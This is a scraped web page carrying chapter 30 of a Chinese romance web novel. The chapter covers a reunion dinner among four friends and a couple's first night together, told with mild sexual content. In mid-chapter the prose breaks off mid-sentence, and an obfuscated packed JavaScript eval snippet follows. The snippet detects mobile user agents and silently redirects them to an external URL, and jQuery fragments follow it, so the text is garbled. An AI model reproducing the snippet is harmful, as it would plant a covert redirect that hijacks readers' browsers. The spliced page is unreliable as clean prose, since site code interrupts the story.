30. 第30章

作品:《拥朝阳入怀

    “你画展筹备得怎么样了?”


    赵楠一入座,拿起杯子喝了口,就问陈聿衡的近况。


    他回美珍岛是创业,哪怕已经过了刚创业的忙碌,但小规模公司,一旦忙起来,就根本没时间。


    说是公司,其实更像工作室。


    服务员看他们人到齐,询问过后拿来四份菜单,推开站在一边,等着他们点菜。


    陈聿衡接过菜单,把手里的递给付溪锦。


    “差不多收尾了,接下来就是等空间放一放,再让画进场。”


    场地已经收尾得差不多,现在就是在调试灯光、电路,还有各个方面的细节,包括展区的摆放。


    外场的话,就是修整一下入口和小广场,得做一下现场指引和导视。


    “那就行。”赵楠叹了口气,“讨生活可真不容易,你这一场画展办得,不比我们接一个项目轻松啊。”


    陈聿衡笑,“那还是轻松一点,你这自己当老板,相当于是全年无休。”


    赵楠摇摇头,表示没办法。


    “看菜单。”纪然拍了一下他胳膊,“你不饿,我还饿了。”


    赵楠一听她饿了,立即收起叙旧的心思,问她想吃什么。


    对面专心看菜单的付溪锦,抬头时恰好看到这一幕,眼里又闪过崇拜。


    不愧是女王,从小到大,都是绝对的掌控者。


    “看什么,那么入迷?”陈聿衡凑近,低声问:“有什么想吃的?”


    付溪锦收回视线,心虚地摇摇头,“都可以,我又不挑食。”


    “那我按照你喜欢的点了。”陈聿衡会意,“是是是,不挑食,只是不喜欢的都往我碗里放。”


    付溪锦立即反驳,“才不会!”


    她顶多是太肥的肉不吃。


    谁料陈聿衡又凑她耳边加了句,“是谁吃草莓都要我咬了蒂喂到嘴边才吃,嗯?”


    “……”


    对面的纪然和赵楠看着他们那黏腻拉丝的眼神,白眼都翻成千层蛋糕了。


    等陈聿衡又报了几个菜名,服务员就离开了,把空间留给他们。


    长大就是一瞬间的事,很多感情和人都会被丢在过去。


    但也有他们这样的,岁月流逝,但友谊长存。


    等菜期间,四个人聊起了近况,说说笑笑,仿佛又回到了学生时代。


    付溪锦心里暖暖的,忍不住拍了好几张照片,等着发朋友圈。


    太好了,他们都没有走散。


    付溪锦率先举起杯子,“祝我们友谊长存、友谊万岁!”


    “友谊万岁!”


    “祝我们一起暴富!”


    付溪锦不经意转头,就看见晚霞染红了一片天,她惊喜道:“快看,是落日。”


    满天的晚霞,倒映在海面,海天一色,能隐约看见海鸥掠过海面、船只缓慢航行,游人在沙滩上嬉戏。


    ……


    聚餐结束后,在餐厅门口道别,各自请了代驾开车回家。


    付溪锦坐在车后排,一边扶着陈聿衡,一边给裴慧霞打电话。


    “妈?我要晚点回家,你们不用管我了。”


    裴慧霞正在收拾碗,听她这么说,不由问:“现在都快九点了,还不晚啊?”


    付溪锦瞥眼看陈聿衡,人正靠在自己肩头闭着眼,“和然然聚餐,喝了点酒,我先把人送回去。”


    她没明说有陈聿衡,但裴慧霞一听就知道怎么回事。


    裴慧霞无声叹气,真是女大不中留。


    幸好找的是陈聿衡,不然要让付友成知道,得郁闷好一阵。


    “那你照顾好聿衡,他平时就不怎么喝酒,冲点蜂蜜水给他醒醒酒,能好受一点。”


    付溪锦轻咳一声,有种被揭穿后的尴尬。


    “我知道了,那你们给我留门,别等我了,早点休息。”


    “行了,你还是照顾好自己,我和你爸比你们养生得多。”


    又听了裴慧霞几句叮嘱,付溪锦才挂了电话。


    等电话挂断,她反手拍了拍陈聿衡的脸颊,“才喝了那么一点,你的酒量会醉吗?”


    陈聿衡抓住她的手,笑了一声,“有一点晕,姐姐抱抱。”


    又来这一套。


    夜里开车要比白天通畅,不到二十分钟,就开到了陈聿衡家外。


    付了代驾的钱,付溪锦站在车旁,看一眼陈聿衡。


    “再装醉,我就把你扔这儿啊。”


    “好无情啊,还好我能走,不然就完蛋了。”


    陈聿衡从车后座下来,一手搭在车门上,虚虚靠着,仗着身高,微微垂眸看付溪锦。


    灿若星辰的眼里,盈着笑意。


    他就这么目不转睛地盯着付溪锦,直到被人轻轻推了下。


    陈聿衡牵起她的手,顺势往肩上一搂,揣好车钥匙,“走了,回家。”


    ……


    醉意上来得迟,付溪锦在厨房里调蜂蜜水时,陈聿衡就倒在沙发上。


    他的视线,穿过客厅来到厨房,停留在付溪锦身上。


    关于他们的记忆,就像是美珍岛一样,有天、有海、有朝阳,也有落日。


    是灿烂的、热烈的,也是台风天的喧嚣,更多则是风和日丽的海岛风情。


    明媚又富有生命力。


    付溪锦端着蜂蜜水过来,“难受了?”


    陈聿衡坐起来,点头接过杯子,“有一点。”


    “让你跟赵楠喝。”付溪锦埋怨地说了句。


    赵楠那是常年需要应酬,陪客户的人,酒量就算不好,那也练出来了。


    知道怎么喝能少受一点罪,而且对胃舒服。


    也就只有陈聿衡,还以为赵楠是高中时候三杯就倒的人。


    进门时,灯打开是暖色的。


    这会儿两个人坐在沙发上,四周都很安静,只有半开的落地窗外,有海风的声音,隐约还能听到海浪翻涌。


    当初陈聿衡搬来这里时,付溪锦没在美珍岛,但很快在电话里说他太懂得享受了。


    公寓位置很好,离海不远,但又不会近到是台风天的第一批受害者。


    没什么遮挡物,落地窗外的阳台,是观景的绝佳视野。


    付溪锦等他喝完,拿着杯子往厨房走,没注意到陈聿衡落在自己身上的眼神。


    她收拾了一下厨房,又打开冰箱。


    除了一些水果外,就是各类饮料,没看到一点菜。


    付溪锦忍不住碎碎念起来,“陈聿衡,下次我来的时候给你买点东西吧,你这冰箱比我的存款都还要寒酸,你平时在哪吃啊?”


    “还有,你平时在画室的时候,要记得开空气净化器,你那些颜料什么的,虽然都很环保,可空气不流通,也不行。”


    “对了,我妈说这次进的海鱼干还挺好吃,我给你拿点。”


    说了一堆话,付溪锦也收拾完了。


    她看眼墙上的钟,已经十点多。


    好像该回去了,不然真有点晚。


    付溪锦擦了擦手,看陈聿衡靠在沙发上闭着眼,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809564|156439||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    走过去弯腰,拿手贴在他脸上,“不舒服?”


    陈聿衡没有答话,却抓住付溪锦的手,倏然睁开眼。


    付溪锦一愣,敏锐地察觉到什么。


    她感觉到自己的心在怦怦乱跳,超速了。


    陈聿衡没有打算放过她,眼里透露出很浓的侵略感,“今晚,可以留下来吗?”


    付溪锦呼吸一滞,拒绝的话说不出口。


    只是这一瞬间的分神,手腕就被陈聿衡牢牢地禁锢住。


    付溪锦不知道陈聿衡的留下来,到底意味着他们要进行到哪一步。


    可不管是哪一步,她好像都不排斥。


    因为,是陈聿衡。


    付溪锦在陈聿衡的眼神盯视下,缓缓点了头。


    表面的镇定和冷静,是为了遮掩内心几乎要尖叫的心情。


    她想她一定是疯了,竟然会答应留下来。


    可是有什么理由拒绝呢?陈聿衡是她的男朋友,过夜不是很正常吗?


    陈聿衡几乎是在付溪锦点头的下一秒,就把人拽到怀里,来势汹汹地吻着她。


    也许是酒精的作用,也许是付溪锦太过直白的坦率,都让陈聿衡为之疯狂。


    他少有地失控了,完全失去了平时的自持。


    握住付溪锦的腰,把人带到怀里,从鼻尖到唇,又吻过眼尾,再到耳尖,他仿佛一个虔诚的信徒,正在亲吻自己心中的那道光。


    “……陈聿衡。”


    付溪锦躺在沙发上时,望着陈聿衡,低低喊了他一声。


    陈聿衡停下来,垂眸看她,“是我,我在。”


    付溪锦的头发散乱,衣服也不再整齐。


    她伸手搭在陈聿衡的肩上,放任了他的肆意妄为,哪怕没有完完全全地交付,也不再有什么是需要遮掩的。


    就像最纯净的画纸,完全交由他一点点掌控,描绘。


    暧昧在空气里缠绕、海浪在海面翻涌、风声与呼吸声交织。


    绮丽在夜色下缓缓绽放。


    ……


    第二天付溪锦是在陈聿衡怀里醒来,身上的睡衣是一件衬衫。


    她迷迷瞪瞪地翻了个身,卷走被子打算再睡一会儿。


    陈聿衡睁开眼,扫过她后颈和肩上的痕迹,庆幸昨天理智还在,否则可能会更过分。


    正想着早上要吃什么,一阵手机铃声响起,陈聿衡下意识拿起自己的手机,却发现不是他的。


    掀开被子,赤脚踩在地上,拿起了付溪锦的手机。


    他看着来电显示,不自觉咳了声,手也伸进被窝里。


    “嗯…陈聿衡,我很困!”


    付溪锦被揉捏得七分熟,睡不够地翻过来,抄起枕头砸在陈聿衡身上。


    她不知道陈聿衡哪来那么多精力,早知道她就不点头了!


    陈聿衡慢条斯理地抽了张纸巾,却盯着指尖的润泽没有动。


    几秒后,似是耐不住诱惑,低头舔了下。


    付溪锦感觉自己的脸像火一样烧起来。


    他恶劣地看她,嗓音沙哑,“姐姐,有电话。”


    “那你接啊。”她开口才发觉自己在颤。


    “是阿姨的。”


    付溪锦:“……”


    几秒后,付溪锦猛地坐起来,整个人呆滞地看向陈聿衡,“……你是说,我妈打来的?”


    陈聿衡缓慢地点了一下头。


    付溪锦深吸一口气,伸手接过手机。


    该来的总要来的,她是成年人了,勇敢面对暴风雨吧。